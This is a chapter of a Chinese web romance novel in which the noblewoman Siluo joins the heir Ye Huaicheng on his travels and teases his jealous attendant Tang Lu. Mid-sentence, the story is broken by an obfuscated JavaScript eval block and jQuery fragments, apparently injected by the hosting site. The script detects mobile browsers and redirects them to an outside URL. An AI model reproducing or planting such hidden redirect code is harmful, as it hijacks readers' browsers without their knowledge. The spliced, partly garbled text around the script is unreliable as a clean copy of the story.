17. 斗嘴
作品:《长兄世子好难选》 丝萝只略作思吟,便朗声回复道:“世子,我知你心善,想要庇佑于我,从前在南岭,我只想着总有一日要出来看看这世间大好河山,体验一番游侠的生活,如今出门,为着生计东躲西藏、落魄街头,不可谓不狼狈,方才知晓自己还差得远了。”
她向前迈了一步,屈膝行礼,端庄而郑重。
“从前我不过是栽养在将军府后花园的一株娇花,如今我想努力在外面这块旷野上生存下去,诚挚恳请世子带我一程。”
叶淮琤没想到她虽不谙世事,心思却澄澈通透,凑身上前虚扶她一把,温柔笑道:“不必如此,那往后便要请女郎多多指教了。”
丝萝点头应是,俏然含笑,虽未施粉黛,却颜如舜华。
叶淮琤道:“路途艰险,通关令牌和食宿你都不必担心,每月十两银钱,你教我品鉴珍宝,授我明辨真伪的技艺,可否?”
十两?未免太大方了,丝萝忍住推拒的小手,笑容满面地点点头,眼睫乌黑,眸心发亮。
叶淮琤见她孩子心性,轻易就能展颜,玩笑道:“不过若是运气不好,像这次遇上的黑心掌柜一样谋财害命,可是有些风险的,那时我可概不负责的。”
丝萝眉眼弯弯,嫣然笑道:“世子放心,若再有下次,我也定然是与世子共进退同患难的,谁让您是出钱的主雇呢,没了您,我可没地儿落脚了。”
丝萝本是应他的玩笑,叶淮琤却听之一愣。
他不禁又回想起那晚她护他的情形。
她以为区区血肉之躯能阻得利刃长刀一时三刻?
她明知不能,但她还是毫不犹豫挡在了他面前,以她微薄的力量护他。
生命如此可贵,怎么会有人这么天真,为另一个人把自己的生死置之度外。
他们不过寻常陌路人而已。
既如此,他总不好不回报她一二。
丝萝走后,唐陆犹犹豫豫道:“世子,我们所行艰险,路上带一女子同行,恐怕多有不便。”
这几日他一直疑心此女身份,何以不效仿那些被掳的女郎遣送回家。
但多年的经验提醒他,不可随意置喙世子的安排,到今日世子决定要一路都带着她,怕是不妥。
“你可知她是谁?”叶淮琤道:“她是沈家幼女,刚被封为宣裕大将军,带兵出征的沈棣之妹。”
竟是沈家女眷。
其父沈殊辞在世时,沈家门楣风光无两,及至苜岐之战后悄然没落,再而近几年,其子沈棣崭露头角,沈家才作为武将世家,重回朝堂众人视野。
“我幼年发病时,她阿父曾救过我的命。”叶淮琤缓缓道:“这次,又是她救了我,十多天来我病发眼盲,皆是她照顾于我。”
唐陆恍然,怪不得一向清冷的世子,对这女郎如此温和周到不一般,原是为了报恩。
他想起自己赶到钱庄时,沈丝萝死死护住世子的场景。
她周身凌乱不堪的血渍,脸颊脖颈的血痕在火光的映照下鲜艳欲滴,这样一个娇小脆弱的女郎,她当真护住了世子?
“可她一介高门贵女,为何不送她回家,若是跟着我们有个万一,怕是和将军府不好交代。”
唐陆作为王府的家生子,深谙门庭相处之道,思虑重重。
这样一个特殊身份的女郎,何以任由她流落在外,将军府知道了不会找他们麻烦吗?
将来无论活着还是死了,处理起来都是麻烦。
叶淮琤不予辩驳道:“无所谓,她想做什么便随她去做吧,我们只需护她安危便可,不必强求她的选择,今日任由她离去也是漂泊在外,不如护在羽翼下保她一时平安。”
唐陆知他心意已决,不再多话。
……
转眼便是大半个年头滑过,三人同行走过湘都、兰郡、敦城……以及大小十余座无名小镇。
大一些的叶氏商铺提前接到消息,会早早为他们备下丰盛宴席,小一点的店铺突然到访,亦是应对得当,往前倒数十来年的账目也无一不清,足可见当年宁江王经营叶氏产业时的御下有方。
叶淮琤每过一处便会派人往王府送信,回报当地叶氏的经营状况以及沿途见闻。
丝萝曾好奇他为何如此繁琐,巡察过三五地后,统一写份邸报不是更可?
唐陆偷偷告诉她,上次世子被掳的事最终还是传到了长公主耳中。
她责备夫君不够疼惜孩儿,好一番忧郁哀愁,这番不吵不闹暗自神伤的操作,弄得宁江王心绪大乱、不知所措,只能暗中责令世子,每三五日便要寄一封家书回去,否则便不再允他四处游历。
丝萝惊奇道:“巡察各地叶氏不是王爷下的命令吗?说是为了世子继承叶氏,怎么反倒拿这威胁世子?”
唐陆不屑道:“你个外人能知道什么,那是对外的说辞罢了,世子受不了长公主日日‘关怀备至’,与王爷串通说辞逃离王府罢了,这巡察是我们世子主动提出来的,谁能逼迫我们世子做事。”
一番时日相处下来,唐陆对丝萝渐渐没了身份地位的约束,说话越发随意起来,偶尔还有排挤争宠的迹象。
毕竟从前世子身边只得一个他常伴左右,如今加了个小女郎进来,先天的优势,明显抢占了世子的关注。
他诸多忿忿不平,只能悄悄发泄在面前这个小女郎身上。
“写家书不也算逼迫。”丝萝小声提醒道。
唐陆一时语噎,气恼道:“你这个小女郎,着重点怎么这么奇怪?重点是世子拿应付外人的说辞搪塞你!世子可不会跟你这个外人交心的。”
丝萝见他一点就炸,果真被气到,乐盈盈道:“我本来就是外人啊,难不成你想要我当世子内人?”
“你你你……”唐陆无语凝噎。
“你这小女郎太不知羞,世子最是不近女色,便是对长公主亦是敬而远之,怎会看上你这种蠢笨无理的女郎,留你不过是为了报恩罢了。”
丝萝心中早就有的猜测,成功从唐陆口中得到应证,顿时暗自松了口气。
她不相信不计得失的付出
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687696|173015||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,出来闯荡的时日越长,她越是发现,这个世界总是等价交换的。
即便情感亦是如此,你得到了非比寻常的关爱,那必是要付出同等的回报才算了结的,否则此段关系必不得善终。
确认叶淮琤的确是为了报救命之恩才收留自己,而不是另有所求,丝萝放下心来,继续调笑炸毛的唐陆道:“所以你们世子确实是拒女郎于千里之外的皎皎君子,所以才将家书写成了那般无趣的‘奏折’吗?”
“那是自然。”唐陆沾沾自喜,忽又觉她似乎话带笑讽,立马辩驳道:“世子只是不知如何温存体贴,你少在那儿明褒暗贬。”
丝萝笑嘻嘻道:“我哪有,我是暗暗高兴,世子都这般洁身自好了,不正说明了我的特别之处吗?你看平常世子待我多温柔,是你从未见过的和善吧,否则你为何如此着恼?”
唐陆被激得血气上涌,气闷难忍,大叫道:“都说了是为了报恩,你个无知女郎少洋洋得意!”
丝萝见真的把他惹急了,抬腿就跑。
再逗下去怕是要挨打,边跑还不忘顽皮,嬉笑朝后嚷道:“放心,等我做了内人便放你自由,让你也去学学温存体贴,省得总是羡慕旁人。”
唐陆瞠目结舌,脸上憋出猪肝色。
他口舌已是十分了得,聒噪多话也算远近闻名,不想今日屡战屡败,被个小女郎堵得接不上话来,真是奇耻大辱。
丝萝看他吃瘪,得意非常。
谁叫他总明着暗着给自己穿小鞋,有仇不报非君子,她是女子,更得狠狠地报。
正幸灾乐祸着呢,猛一回头直直撞进一道温和的视线,差点栽上去。
??
丝萝吓得浑身一个激灵。
他一直在看着她?从哪里开始听起的?
她脸颊微微发烫,一阵心虚。
唐陆却仿佛见到了救星,三步并作两步冲上去直嚷道:“世子,你不知刚才沈丝萝大放厥词说了何等冒犯的话,她竟然说……”
丝萝的心跳随着他说的话起承转合,仿佛要从胸口蹦出来了。
幸好叶淮琤及时制止:“好了,闹也闹够了,该办正事了。”
唐陆面容抽搐了一瞬,都到嘴边的话了,戛然而止。
但他清楚叶淮琤的脾气,只能心不甘情不愿应道:“是,请世子示下。”
叶淮琤吩咐唐陆出门办事,小半柱香的功夫,丝萝一直站在不远处安静等候。
不远不近的距离,既听不见他们具体详尽的安排,又能确保叶淮琤一转身唤她,便能及时过去。
正在悄摸摸走着神,余光瞥见唐陆一个健步飞跃了出去,叶淮琤抬手唤她。
丝萝小跑着过去。
叶淮琤见她跟上,边走边问道:“此地可有什么不习惯的。”
他们如今停留在东南望城,一处风景优美俊秀的江南水乡。
昨日傍晚到达驿站,今晨便被安排进这处避暑山庄。
此地算得上这小半年来丝萝住过最好的居所了。